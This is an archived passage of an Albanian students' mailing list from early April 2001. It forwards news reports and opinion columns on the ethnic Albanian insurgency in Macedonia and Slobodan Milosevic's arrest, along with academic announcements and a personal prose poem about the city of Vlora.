From aalibali at yahoo.com Sun Apr 1 00:17:11 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Sat, 31 Mar 2001 21:17:11 -0800 (PST) Subject: [ALBSA-Info] Krauthammer's Commentary Message-ID: <20010401051711.85812.qmail@web11505.mail.yahoo.com> Pittsburgh Post-Gazette March 31, 2001, Saturday, REGION EDITION EDITORIAL, Pg. A-10 CHARLES KRAUTHAMMER WHAT THE U.S. SHOULD DO ABOUT THE MESS IN MACEDONIA WASHINGTON There are two ways to look at war. One school sees it as a temporary emergency, the result of bad people taking control of important countries and wreaking havoc. The other tends to see conflict as endemic, ingrained in human nature and the perpetual striving of peoples for power and dominion. Liberals, with their belief in the perfectibility of human nature, tend to believe the first. Dour conservatives tend to share Ambrose Bierce's definition of peace as "a period of cheating between two periods of fighting." The liberal view borrows its prestige from a pretty major example, World War II. The problem, however, is that the Clinton administration deployed the idea indiscriminately to any place it wanted to intervene. It was this logic that got us into Haiti, for example. Some evil generals, it was explained, were doing terrible things to the country. Our goal was to get rid of them, restore democracy and fix things up. We invaded, sent the bad guys into exile and brought back the "democratically elected president," Jean-Bertrand Aristide. Six years later, Aristide held a sham election, sent thugs to physically attack the opposition and had his senate call for the arrest of the head of the opposition alliance. Haiti remains the impoverished, murderous dictatorship it was when our troops arrived. A more serious example -- at least we could get out of Haiti with no one noticing -- is the Balkans. The Clinton rationale for deploying our military in Bosnia and then in Kosovo hinged on the notion that Serbia, misled by its nasty ruler, Slobodan Milosevic, was the root cause of Balkan instability. "The source of the problem," explained Clinton the day before beginning the bombing campaign in Kosovo, "has been that the leader of Serbia has tried to dominate the former Yugoslavia by starting wars in Croatia and Bosnia in the last decade, and stripping from Kosovo . . . self-government." Well, we have just run a fairly good historical experiment: We are rid of Milosevic. Serbia is run by democrats. And yet the Balkans are on the verge of another explosion. Macedonia, the single most peaceful ex-Yugoslav republic, is now in an incipient civil war. From NATO-liberated Kosovo, guerrillas have attacked Macedonia, ostensibly in the name of civil rights but clearly in the hope of detaching its Albanian-populated region (Macedonia is 30 percent ethnic Albanian) to Kosovo and a Greater Albania. The pity is that this was all utterly predictable. "An independent Albanian Kosovo will surely seek to incorporate the neighboring Albanian minorities -mostly in Macedonia," wrote Henry Kissinger in February 1999. Other realists, such as National Interest editor Owen Harries, expressed similar objections. I wrote (Feb. 26, 1999) that "NATO intervention . . . would sever Kosovo from Serbian control and lead inevitably to an irredentist Kosovar state, unstable and unviable and forced to either join or take over pieces of neighboring countries." The Albanians did not wait for their Kosovar state. They have already struck. And peaceful Macedonia, some of whose soldiers went into battle this week in sneakers, is a poor candidate to fight a deadly counterinsurgency. This conflict was never caused by one country or one man. Yugoslavia, after an interlude of quiet imposed by totalitarian repression and fear of the Soviet Union, has reverted to its centuries-old state of convulsive ethnic and religious conflict. What to do? Unfortunately, getting out is not an option. Even though the original commitment was folly, once a superpower makes a commitment to Balkan stability, its very presence creates a new national interest -- credibility -where there was none there to begin with. We have two options: deputize and "Vietnamize." (A) Deputize the Europeans to do the dirty work. NATO has just announced that a British-Scandinavian unit in Kosovo will deploy near the Macedonian border. This makes sense. While we're stuck with peacekeeping because of our previous commitment, an escalation to counterinsurgency is absurd. It is the Europeans' front line, not ours. They ought to man it. (B) In Vietnam, we tried to get out by getting the locals to replace our soldiers. In this case, ironically, the locals are Serbs. We've already "Vietnamized" one part of the conflict by allowing Serbs to return to a border region that had become a center of activity for the Albanian guerrillas. Macedonia is a harder case, but in the end it may be Serbia that will guarantee the security of its fellow Slavs in Macedonia. There is little more we can do about this quagmire. But it should be a lesson the next time a president comes to the American people and asks for intervention in a local war, on the grounds that if we could only get rid of the bad guys, peace and light will reign. Sometimes that is true; most times it is not. Charles Krauthammer is a syndicated columnist for The Washington Post. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/?.refer=text From Gazhebo at aol.com Sun Apr 1 10:19:26 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:19:26 EDT Subject: [ALBSA-Info] INTERVIEW-Macedonia Albanian warns of war if talks fail Message-ID: INTERVIEW-Macedonia Albanian warns of war if talks fail By Rosalind Russell SKOPJE, March 30 (Reuters) - Macedonia's leading ethnic Albanian politician said on Friday the grievances of his community must be addressed within a month or he would quit the government and the country would head towards civil war. Arben Xhaferi, leader of the main Albanian party and key partner in the coalition government, said he sought a political solution to Macedonia's current crisis but warned that extremists would pursue their cause with guns if he failed. "I will give the negotiations one month to succeed. If they fail I will withdraw from the government," Xhaferi, a widely respected moderate, told Reuters in an interview. "My withdrawal would mean the complete polarisation of Macedonian politics along ethnic lines and it would be total war between Albanians and Macedonians." A weeks-long armed insurrection by ethnic Albanian guerrillas using the neighbouring U.N.-run province of Kosovo as a rear base met a tough military response by Macedonian armed forces and has raised fears of a new Balkan war. Western leaders have pressed the Slav-led government to address the problems of the ethnic Albanian minority, who make up a third of the population but say they are treated as second-class citizens. Politicians from both sides of the ethnic divide hope to begin negotiations next week on easing tensions and Xhaferi says it is Macedonia's last chance to avoid a full-scale conflict. "If we do not find a political solution the guerrillas can be more and more dangerous," he said. "We all know it is very easy to have a civil war in the Balkans because of our tradition of animosity and xenophobia. It's easy to promote animosity, the hard work is avoiding it." WIN-WIN SOLUTION Xhaferi has condemned the violence in Macedonia but is sympathetic to the demands of the guerrillas who say they are fighting for greater rights for the Albanian minority. He says he has remained in the fragile coalition to ensure their demands are met without further bloodshed. The main Albanian demand is reform to the constitution which names Macedonian Slavs as the primary nation, Macedonian as the official language and Orthodoxy as the primary religion in the tiny Balkan country of two million people. But animosity between the two communities runs deep and major concessions could risk a Slav backlash. "I want to find a win-win solution," said Xhaferi. "We need more rights but we are not asking the Macedonians to lose any of theirs." But he said the behaviour of the Macedonian army -- which says it has almost completed its military operations against the rebels -- could also scupper hopes of a political solution. Xhaferi said he was concerned by the army's heavy-handed approach to routing the guerrillas in Macedonia's northern mountains and the "devastation of villages and houses." Two ethnic Albanian civilians and a British journalist were killed by mortar fire on Friday in a Kosovo border village. The government denied firing the rounds, although NATO said the fire came from the direction of Macedonia. "My concern is with the civilians. If I cannot stop some military excesses from the government then I will have to leave the coalition," said Xhaferi, whose health is failing and who has no obvious successor. "I cannot say I am a complete optimist but I must try to keep the peace. If we fail I will go home and sleep." From Gazhebo at aol.com Sun Apr 1 10:22:30 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:22:30 EDT Subject: [ALBSA-Info] Tribunal Shares Thoughts on Arrest Message-ID: <30.12aceb52.27f893a6@aol.com> Tribunal Shares Thoughts on Arrest THE HAGUE, Netherlands (AP) - The arrest of former Yugoslav President Slobodan Milosevic brought him one step closer to an international trial to answer for the persecution and murder of ethnic Albanians during the Kosovo war, the U.N. war crimes tribunal said Sunday. Although Yugoslav authorities planned to charge Milosevic for corruption and actions that led to the dissolution of the Yugoslav federation, the tribunal said Belgrade has ``a binding legal obligation'' to hand him over to The Hague to stand trial for war crimes. ``We hope his arrest is a step closer to bringing about his surrender to the tribunal,'' said spokesman Jim Landale. So far, the tribunal has received no information to contradict Yugoslavia's public position that Milosevic would not be extradited before being tried at home for corruption. Chief Prosecutor Carla Del Ponte has said the war crimes charges take precedence over Milosevic's alleged domestic crimes. But she has left the door open for parallel trials. In a statement three weeks ago, Del Ponte said the president of the tribunal could consider allowing anyone indicted war crimes suspect ``to stand trial before a local court pending the start of a trial before the tribunal.'' But that could happen only after he surrendered to The Hague, she said. Milosevic was indicted in May 1999 on four counts of crimes against humanity and violation of the Geneva Conventions on the conduct of war in connection with the Serb campaign against Kosovo earlier that year. The indictment said Milosevic ``planned, instigated, ordered, committed or otherwise aided and abetted in a campaign of terror and violence against Kosovar Albanians,'' in which hundreds were murdered and 740,000 were persecuted or displaced from their homes. Del Ponte has said her prosecutors also are investigating Milosevic's actions during the Balkans wars of the early 1990s, and she may expand the indictment against him to include charges of genocide. The tribunal had hoped the U.S. deadline of March 31 for Yugoslavia to cooperate with the tribunal would ``focus minds in Belgrade'' about handing over the ousted president to The Hague, Landale said. But he had no comment on whether Washington should sever its aid program to Yugoslavia if Milosevic is not handed over. ``It's up to them. We carry on doing our work and hoping that the Yugoslav authorities cooperate with the tribunal,'' he said. From Gazhebo at aol.com Sun Apr 1 10:24:13 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:24:13 EDT Subject: [ALBSA-Info] Victims greet fall of 'Balkan Butcher' with relief Message-ID: <87.9051d1c.27f8940d@aol.com> Victims greet fall of 'Balkan Butcher' with relief By Maja Zuvela SARAJEVO, April 1 (Reuters) - People across former Yugoslavia expressed relief on Sunday at the arrest of Slobodan Milosevic, whom they blame for wars that left tens of thousands of their kinfolk dead and the lives of countless more ruined. "There is no justice that can satisfy a mother who has lost her child," said Munira Subasic, who lost 22 family members when Bosnian Serbs murdered several thousand Muslims they captured after the Srebrenica enclave fell to their forces in 1995. "But I am really happy that Milosevic has finally been arrested," she said. Disbelief and discontent mingled with satisfaction that the man reviled as "The Butcher of the Balkans" might finally face judgement for directing the killing that marked old socialist Yugoslavia's protracted and bloody break-up. A middle-aged couple in the Croatian capital Zagreb said, "Is this an April Fool's joke," and walked on laughing. "I don't believe he was arrested. They've just put him somewhere safe so as not to send him to The Hague," said Jahir Rexhepi, 43, in the Kosovo capital Pristina. His views reflected widespread scepticism in the breakaway regions of old Yugoslavia that Serbia's reformist government will ever send Milosevic to The Hague to stand trial on charges of crimes against humanity at the United Nations tribunal. The former Yugoslav president was finally arrested early on Sunday on charges of corruption and abuse of office after a tense stand-off outside his luxury Belgrade villa. The Serbian authorities say they do not intend to extradite him. "I am glad that the process has finally kicked off, but Milosevic, as the main orchestrator of all the Balkan wars, as well as all his proteges, have to end up in The Hague," said Zineta Mujic, who lost her son in the Srebrenica massacre. ARREST A CHANGE OF DIRECTION Political figures in Slovenia, Croatia and Bosnia, whose struggles from 1991 to 1995 for independence from Serb-dominated Yugoslavia left more than 200,000 dead, repeated that Milosevic must face no other fate than international justice. "We hope today's action is only the first phase in bringing to justice those responsible for the immeasurable suffering and destruction carried out in the name of Greater Serbia in the last decade," said Croatian Foreign Minister Tomina Picula. Slovenian President Milan Kucan said the arrest was an important break with the expansionist nationalism that was the hallmark of Serb policy throughout the 1990s. "I believe the new democratic political and legal authorities in Serbia will manage to design politics that will be a clear alternative to the concept of Greater Serbia that was (pursued) ruthlessly by the Milosevic regime," said Kucan. The arrest of Milosevic was particularly piquant in Kosovo, where divisions between ethnic Albanians and Serbs were the springboard that brought the ex-communist banker to power in 1987 and were to prove the seeds of his downfall. Milosevic exploited Serb resentment at alleged mistreatment in Kosovo to rise to power amid nationalist fervour. But his attempts to crack down on Albanian discontent provoked armed rebellion in the province in 1998 and his subsequent repression brought a war crimes indictment and NATO military intervention that loosened his grip on power. "Better late than never. It was about time they arrested him after all those crimes he committed," said Zarife Gashe, 22. "Of course we are happy. We lost everything we had because of him. They should have done it earlier, though," said Shukrie Blacaku, 42, another ethnic Albanian refugee, whose home was destroyed by Serb forces during the 1998-1999 conflict. From Gazhebo at aol.com Sun Apr 1 10:25:50 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:25:50 EDT Subject: [ALBSA-Info] ANALYSIS-High stakes as Macedonia swaps guns for talks Message-ID: ANALYSIS-High stakes as Macedonia swaps guns for talks By Rosalind Russell SKOPJE, April 1 (Reuters) - Now the guns are silent, Macedonia will start talks on Monday in a last ditch political effort to bridge its bitter ethnic divide and stop the country plunging towards civil war. Shaken by a month of violence and the prospect of another major Balkan conflict, the European Union is backing belated efforts by Macedonia's politicians to work towards ethnic reconciliation. President Boris Trajkovski will chair talks between all Macedonia's political leaders on ways to ease the grievances of the ethnic Albanian minority which fuelled a weeks-long armed insurrection. The stakes are high. The main ethnic Albanian leader, a key partner in Macedonia's fragile coalition government, says he will quit if ethnic Albanian demands are not met within a month -- leaving the men with guns to fight for Albanian rights. Slav politicians led by Prime Minister Ljubco Georgievski are wary of a nationalist backlash from their own constituency if they concede too much. "They are all very very nervous but they realise if they don't start soon they'll lose momentum," said Brenda Potter, a Balkans watcher at the International Crisis Group, a respected conflict prevention think-tank. "This is the last chance for an integrated society." DISCRIMINATION AGAINST ALBANIANS Ethnic Albanians make up roughly one third of Macedonia's population and say they are discriminated against in all walks of life. They say only a change to the constitution, which names Macedonian Slavs as the primary nation, greater language rights and the decentralisation of government can start to redress this. "They have to move quickly to things which make a practical difference, for example decentralisation so that Albanians have a say in issues like schools and hospitals," said Potter. "This would satisfy minority aspirations without changing the whole country." But it might not be so easy. The two sides are being asked to achieve within weeks what they have failed to do in the 10 years since independence from socialist Yugoslavia in 1991. And there is still uncertainty over whether the constitution is up for discussion at all. Last week Foreign Minister Srgan Kerim said the subject was not taboo, but a day later the spokesman of Georgievski's ruling VMRO-DPMNE party said talks about constitutional reform were unacceptable. Mistrust runs deep and ethnic Albanian politicians accuse their Slav colleagues of repeatedly failing to keep promises. The Slavs say the Albanians keep shifting the goalposts. "We have had 10 years to do something. Our demands are nothing new but up until now nobody wanted to listen," ethnic Albanian leader Arben Xhaferi told Reuters in a recent interview. "Now we have very little time." EUROPE OFFERS SUPPORT EU security chief Javier Solana will fly to the Macedonian capital Skopje on Monday to lend his support to the dialogue. "We don't want to be mediators but Mr Solana hopes to find a way of reinvigorating the process and solidifying the national consensus at this time of trouble," Solana's spokeswoman, Cristina Gallach, told Reuters by telephone from Brussels. Solana and European Commissioner for External Relations Chris Patten will meet Trajkovski and opposition leaders and leaders of the ethnic Albanian parties. Europe has dangled the reward of greater links with the EU and increased aid as a reward for making progress towards ethnic reconciliation. Slav and Albanian government leaders have been invited to Luxembourg on April 9 to sign a Stabilisation and Association agreement, which is viewed as the first step towards EU membership. But Xhaferi said in a statement, carried by Albanian radio on Saturday, that he would not go unless genuine negotiations on the demands of ethnic Albanians were already underway. The Macedonian army says it has completed its military operation to drive out guerrillas from its northern mountains near the border with U.N.-governed Kosovo. But the insurgents say they are merely regrouping and are ready to strike again if political negotiations fail. "If nothing happens politically in April then May could be very dangerous," said ICG's Potter. From Gazhebo at aol.com Sun Apr 1 10:26:59 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:26:59 EDT Subject: [ALBSA-Info] Milosevic Taken Away To Jail Message-ID: Milosevic Taken Away To Jail By KATARINA KRATOVAC BELGRADE, Yugoslavia (AP) - Former President Slobodan Milosevic, architect of a decade of Balkan wars, was whisked away to prison Sunday after a 26-hour armed standoff with police who arrested him to face corruption charges stemming from his ruinous rule. Milosevic, who at one point in the standoff reportedly brandished a gun and threatened to kill himself and members of his family, surrendered after late-night negotiations between the government and his Socialist Party. Local television showed footage of the car carrying Milosevic entering Belgrade's Central Prison and the iron gates closing behind it. Most Belgrade newspapers ran special morning editions Sunday. ``It's Finished, Milosevic is Arrested!'' read the headline in Ekspres Politika. Questioning of Milosevic began just hours after his arrest. An investigative judge was interrogating him ahead of issuing a formal detention order, valid for a month and renewable for a total of six months to allow a court time to decide whether to formally charge the former president, said Vladan Batic, justice minister of Serbia, the main Yugoslav republic. Batic said Milosevic was being treated like any other prisoner. ``He has his own room,'' said Batic. ``He will be given food, allowed visitors, to have his own clothes and footwear, money, books, newspapers. He will not be subjected to any kind of physical harassment, no psychological pressure.'' Milosevic's arrest followed U.S. threats to suspend $50 million in economic aid if President Vojislav Kostunica's government did not show willingness by Saturday to cooperate with the U.N. war crimes tribunal in The Hague, Netherlands. But government officials said the detention was not linked to the deadline. The U.N. tribunal indicted Milosevic in connection with atrocities committed during his harsh crackdown on ethnic Albanians. Welcoming the arrest Sunday, tribunal spokesman Jim Landale said Yugoslavia has a ``binding obligation'' to turn him over. Kostunica has refused to extradite Milosevic to The Hague, insisting he should be tried at home for corruption and other alleged crimes. However, Yugoslav authorities clearly hope that the arrest of Milosevic, regardless of the charges, will lead to U.S. certification that the new democratic government has met conditions for the aid. Police official Miodrag Vukovic said pending charges against Milosevic include abuse of power and corruption that cost the state close to $100 million, and that Milosevic would face a maximum five-year prison term if convicted. Batic, the justice minister, pledged a fair trial, and said the arrest had ``at this moment'' no link to extradition demands by the Hague court. That wording suggested that authorities might consider handing the former president over to the U.N. court once he is tried domestically, and if a ban on extraditing Yugoslav citizens is lifted by parliament passing a law later this year. ``Until we have the law ... none of our citizens can be handed over,'' he told reporters. He said that as conditions for his surrender, Milosevic had requested a ``fair trial, humane (prison) conditions, possibilities for visits and pledges that at this moment we were not acting upon The Hague tribunal request. ``It is impossible to say in advance whether the proceedings will last for 10 days or six months,'' he said. Masked police had tried to raid the sprawling villa and seize Milosevic before dawn Saturday but were repulsed by guards firing automatic weapons. During the day, hundreds of his supporters blocked the villa's gates, chanting ``Slobo! Slobo!'' Milosevic told police he would rather die than surrender, and Serbian Interior Minister Dusan Mihajlovic said that at one point the former president, brandishing a pistol, threatened to kill himself, his wife and daughter. Branislav Ivkovic, a close aide to Milosevic, said he surrendered voluntarily ``to include himself in the legal process.'' Mihajlovic said Milosevic's 32-year-old daughter, Marija, fired four or five pistol shots moments before her father was whisked away. A police official, who spoke on condition of anonymity, said she was apparently aiming at a government negotiator. There were no injuries. Milosevic's wife and daughter remained inside, said police officials. Describing Milosevic as a ``reasonable man, who did not want any more Serb blood to be spilled,'' the former president's lawyer, Toma Fila, blamed authorities for provoking the violence that preceded the arrest by sending riot police to storm the residence instead of only negotiators. Since his ouster from power last fall, Milosevic has lived under police surveillance in the tile-roof villa built for former communist dictator Josip Broz Tito. Milosevic gained power during the waning years of communist rule in Europe. In 1991, he triggered the bloody breakup of the former Yugoslavia, sending his army into losing wars against the pro-independence republics of Slovenia, Croatia and Bosnia. His brutal attempts to put down an ethnic Albanian rebellion in Serbia's province of Kosovo led to NATO airstrikes that pushed his forces out of the province in 1999. When Milosevic refused to accept electoral defeat, opposition supporters rioted. He conceded defeat Oct. 6, but remained politically active. From Gazhebo at aol.com Sun Apr 1 10:30:54 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:30:54 EDT Subject: [ALBSA-Info] Euro Leaders Praise Milosevic Effort Message-ID: <31.12a7e2d3.27f8959e@aol.com> Euro Leaders Praise Milosevic Effort By JIM HEINTZ MOSCOW (AP) - European leaders expressed their approval as Yugoslav police tried to arrest former President Slobodan Milosevic on Saturday, while Russia warned that other countries should stay out of the controversy. Police tried to seize Milosevic, who is wanted by the U.N. war crimes tribunal in The Hague, Netherlands, but were turned back by fire from his personal guards at his villa in Belgrade. The police action came on the very day the U.S. Congress had set as a deadline for Yugoslavia to begin cooperating with the tribunal or to face the loss of some $50 million in assistance. Russian Foreign Ministry spokesman Alexander Yakovenko appeared to make reference to the U.S. position in comments to the news agency ITAR-Tass. ``Any pressure from outside on the leadership of Yugoslavia in connection with these questions would not only be interference in the internal affairs of a sovereign state but could weaken the position of the democratic forces of the country,'' he said. Yakovenko did not mention any specific countries, but Moscow has expressed concerns in the past about U.S. attempts to dominate world affairs. Romano Prodi, president of the European Commission, offered approval of the action by the government of President Vojislav Kostunica, who took over the country last October after Milosevic was ousted in an uprising following his refusal to accept electoral defeat. ``The authority of the Hague tribunal has always been the position of the European Commission. ... I have encouraged the Serbian democracy and Mr. Kostunica in this direction,'' Prodi said. French Prime Minister Lionel Jospin was more blunt. ``For us, the decision taken by the Belgrade authorities to proceed with his arrest ... is an extremely important step,'' he said. There was no immediate U.S. reaction to Saturday's standoff. On Friday, President Bush said ``we'll cooperate in any way that we're asked to do so.'' Beyond legal issues, the White House has not been eager to take actions that could undermine Yugoslavia's fledgling pro-Western government, which is struggling to cope with the devastation wrought under Milosevic. During his decade in power, which saw Yugoslavia fragment, Milosevic often had looked for support to Russia - like Yugoslavia a predominantly Slavic, Orthodox Christian country. Russia vehemently opposed the NATO bombing of Yugoslavia in 1999 but resisted being drawn into the conflict or supplying advanced anti-aircraft systems to the Yugoslav army. And although Russia frequently criticized KFOR, the NATO-led peacekeeping force that entered Kosovo after the Yugoslav army withdrew in 1999, it waffled over Yugoslavia's political turmoil. President Vladimir Putin eventually sent a letter recognizing Kostunica as the winner of the presidential election, a move that appeared to seal Milosevic's downfall. Yakovenko, the Foreign Ministry spokesman, said countries concerned about the Balkans, where ethnic Albanian rebels are fighting the Macedonian army just south of Yugoslavia, should ``unify their powers to work against sorties of international terrorism.'' ``The most important element in these powers is the utmost strengthening and support of the current democratic leadership of Yugoslavia,'' he said. A spokesman for the war crimes tribunal, Jim Landale, said developments were being watched closely. ``If and when they do arrest him, it's hopefully a step closer to them being able to transfer him to our custody,'' he said. Ultranationalist Russian politician Vladimir Zhirinovsky, meanwhile, criticized the attempt to arrest Milosevic. ``There are no doubts a decision regarding oppression of the former Yugoslav president was made in the United States,'' the Interfax news agency quoted him as saying. From Gazhebo at aol.com Sun Apr 1 10:31:50 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Sun, 1 Apr 2001 10:31:50 EDT Subject: [ALBSA-Info] UN tribunal asks Milosevic handover by end of year Message-ID: UN tribunal asks Milosevic handover by end of year By Caroline Jacobs THE HAGUE, April 1 (Reuters) - The United Nations war crimes tribunal urged Yugoslav authorities on Sunday to transfer former president Slobodan Milosevic to the international court by the end of the year. Milosevic, arrested in Belgrade in the early hours of Sunday morning, is charged by the tribunal with crimes against humanity in connection with alleged massacres and expulsions of ethnic Albanians from the province in 1998-99. At home, he faces charges of abuse of office. "We are asking immediately for a commitment from the Yugoslav state to transfer him to The Hague," Florence Hartmann, spokeswoman for the tribunal's chief prosecutor, Carla del Ponte, told Reuters. "They (Belgrade) have to respect the international arrest warrant against him." "I believe that within a few months, I would say in the course of this year, Milosevic should be transferred to The Hague," Del Ponte said in an interview with Swiss radio published in an Italian daily on Sunday. The Yugoslav government has not recognised the authority of the tribunal, which has jurisdiction over individuals responsible for genocide, war crimes and crimes against humanity in the territory of former Yugoslavia after January 1991. Belgrade's new reformist authorities are now drafting a law that contains provisions for cooperation with the International Criminal Tribunal for the Former Yugoslavia. But Hartmann said there was only a small chance that the federal parliament would pass the law as the governing coalition lacks a majority in the chamber. Del Ponte said in the interview that she had not yet received any assurances about Milosevic's transfer. She quoted both the Yugoslav federal and Serbian republic justice ministers as saying, 'Not now, because (first) we want a trial for the crimes committed in our territory'. "At The Hague, he is charged with crimes against humanity and these are very serious charges in comparison to the ones he faces in Belgrade," she said. "If they ... delay the transfer of Milosevic, (del Ponte) will address the U.N. Security Council in New York in May (about the delay)." Del Ponte's New York visit is part of a bi-annual meeting she has with the Security Council. She regularly informs member states about cooperation with the tribunal. "It is not only a legal obligation of Yugoslavia, but also a moral obligation that Milosevic is linked with war crimes and that he has to face a trial for the war in Yugoslavia and for crimes and offences against ethnic groups," Hartmann said. From aalibali at law.harvard.edu Sun Apr 1 11:30:08 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Sun, 1 Apr 2001 11:30:08 -0400 Subject: [ALBSA-Info] New Book: Balkan Diplomacy (in Turkish) Message-ID: An embedded message was scrubbed... From: bdemirtas at avsam.org Subject: [balkans] New Book: Balkan Diplomacy (in Turkish) Date: Mon, 26 Mar 2001 14:02:50 +0300 Size: 5114 URL: From aalibali at law.harvard.edu Sun Apr 1 11:32:33 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Sun, 1 Apr 2001 11:32:33 -0400 Subject: [ALBSA-Info] CfA: Halki International Seminars 2001 Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] CfA: Halki International Seminars 2001 Date: Fri, 30 Mar 2001 11:59:53 +0200 Size: 4570 URL: From aalibali at law.harvard.edu Sun Apr 1 11:36:05 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Sun, 1 Apr 2001 11:36:05 -0400 Subject: [ALBSA-Info] CfP: National Identities Journal Message-ID: An embedded message was scrubbed... From: bieberf at seep.ceu.hu Subject: [balkans] CfP: National Identities Journal Date: Wed, 28 Mar 2001 15:57:47 +0200 Size: 3517 URL: From aalibali at law.harvard.edu Sun Apr 1 11:39:07 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Sun, 1 Apr 2001 11:39:07 -0400 Subject: [ALBSA-Info] Call for Papers: Gender, Identity and Nationalism in Europe, University of Salford, 11-14.10.2001 Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] CfP: Gender, Identity and Nationalism in Europe, University of Salford, 11-14.10.2001 Date: Wed, 28 Mar 2001 09:51:42 +0200 Size: 4333 URL: From i_spaho at hotmail.com Mon Apr 2 03:57:58 2001 From: i_spaho at hotmail.com (irma spaho) Date: Mon, 02 Apr 2001 03:57:58 Subject: [ALBSA-Info] cast malli Message-ID: Pershendetje Gerta, Etel, Lola, Andi! CRIES OF A CITY Night enters the room. Blindfolding my eyes with the laced veil of past. The trains of memories break down on remote corners of my distant youth, going down the galleries of this wonderful city I once adored, Vlora. The noise of train fades away with the cries of this city, entering my room, stone by stone, fountain by fountain, face by face, seagull by seagull. I once had a name. Oh, such a beautiful name! They called me the jewel of the Adriatic. Now I am nothing. They took everything from me. I have nowhere to turn my eyes to. They drained my blood and nailed me to the rocks to watch how life was being bruised, and tortured, and cast adrift. Today is no death. And no life either. My tears for my drown children tattoo the breast of these furious waves, clothing my naked, lifeless body. I am no longer here. There is no here. The is no Past. Just a crippled Present. And the Future? Already mutilated grimaces at me crawling at her feet, little by little. I once had a name. I voyaged the inexhaustible fountains of life, smiling at the greenness of my young body. Now I am a drowsy fountain of tears, slipping through the hands of time, hearing the noise of silence when time awakens. The night eats at my body and the day tights my lips into an everlasting silence. I once had a name. I was called Vlora. I am no longer here. My body lies restless in the cemetery of memories. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From aalibali at law.harvard.edu Mon Apr 2 08:06:11 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Mon, 2 Apr 2001 08:06:11 -0400 Subject: [ALBSA-Info] On linguistic minority legislation in Greece Message-ID: http://groups.yahoo.com/group/balkanhr/message/1902 From aalibali at law.harvard.edu Mon Apr 2 08:08:55 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Mon, 2 Apr 2001 08:08:55 -0400 Subject: [ALBSA-Info] Veton Surroj Message-ID: International Herald Tribune 27 March 2001 Renewed Ethnic Reform Would Defuse Macedonian Conflict http://www.iht.com/articles/14716.html Veton Surroi (Los Angeles Times Syndicate Tuesday, March 27, 2001) PRISTINA, Kosovo War is a catalyst for change. A problem is not ripe for international attention until there is violence, and the latest violence in Macedonia, in this sense, is no different from the pattern of disintegration of the former Yugoslavia over the last 10 years. . The Albanian guerrillas who started this latest round of violence in Macedonia are drawing attention to their political requests with the hope that by raising the stakes to threaten the stability of a fragile, multiethnic state, the international focus will finally turn in their direction. . The guerrillas in Macedonia are using a tactic that was successful in the Presevo valley, along the frontier with nearby Serbia. The Presevo Albanians, left to the mercy of the unreformed Serbian police and military, decided to take up arms using Kosovo as a logistics base. The Presevo complaints suddenly became the object of internationally mediated negotiations. . Kosovo is also the logistics base for the guerrillas in Macedonia. But this situation is far from one in which Kosovo is exporting an insurgency into Macedonia, an accusation made by the Macedonian government. The requests that the guerrillas make now, for constitutional reform in Macedonia, have been made by the ethnic Albanian political parties over the last decade. . Nor is it, on the other side, true, as the guerrillas maintain, that an insurgency is needed to end Macedonian oppression of Albanians. A steady evolution toward ethnic rights has been developing in the new, democratic Macedonia, and although there is inequality, the Albanians in Macedonia, even forming part of the coalition governments over the past decade, were better off than the Albanians oppressed by President Slobodan Milosevic of Yugoslavia. . Nevertheless, an insurgency is in the making, and none of the outcomes through arms is favorable to Macedonia or peace in the region. An attempt by the weak government forces to crush this insurgency will only cause it to expand. . The forces of the North Atlantic Treaty Organization, on the other side of the border in Kosovo, do not have a mission in Macedonia, and it is highly unlikely that NATO countries, most notably the United States, want an intervention in Macedonia. And the insurgents can do only what they are doing right now, drawing attention: They are not strong enough for a frontal clash. . But time will not help if the present trends persist. Ethnic Macedonians and Albanians will increasingly see this present conflict as a clash where they have to protect their ethnicity. And the conflict will be feeding itself, up to the point where there is only one solution left, that of territorially dividing Macedonians and Albanians. . Macedonia has escaped from war until now, thanks to an inter-ethnic agreement, a policy of a democratic evolution and strategic international support. It is these three factors, not its weak army and police, that have preserved Macedonia's territorial integrity. And it cannot maintain that integrity unless it uses these same factors in new conditions. . First, it is important to embark on a path toward a new interethnic agreement. Electoral democracy has shown an important evolution in Macedonia, but it has not erased the effects of the majority ethnic vote overruling any ethnic minority initiative. . A new consensual agreement is needed, arising from a constitutional round table where the Albanians are not outvoted by an ethnic majority. This agreement should satisfy the needs of the Macedonian Slavs to feel Macedonia is their nation-state and the needs of the Albanians to have equal rights under the constitution. And the agreement should be endorsed by the whole spectrum of the relevant political parties in Macedonia, including new ones that may represent the insurgent Albanians. . Time is running out in Macedonia. If negotiation ensues now, it will be over reform. If negotiation is later, it will be over maps to divide people. . After 10 bloody years in former Yugoslavia, the lesson for Macedonia and the world could not be clearer: An imminent blood bath in Macedonia can only be stopped by acting sooner rather than later. . The writer, a prominent Kosovo Albanian moderate, is the publisher of Koha Ditore, the main newspaper of Kosovo. This comment was distributed by the Los Angeles Times Syndicate. From aalibali at law.harvard.edu Mon Apr 2 08:12:17 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Mon, 2 Apr 2001 08:12:17 -0400 Subject: [ALBSA-Info] ICG Message-ID: C R I S I S W E B N E W S --------------------------- Thursday, 29 March 2001 Montenegro -------------- Montenegro: Settling for Independence? ICG Balkans report Nr.107 The international community should accept that the Federal Republic of 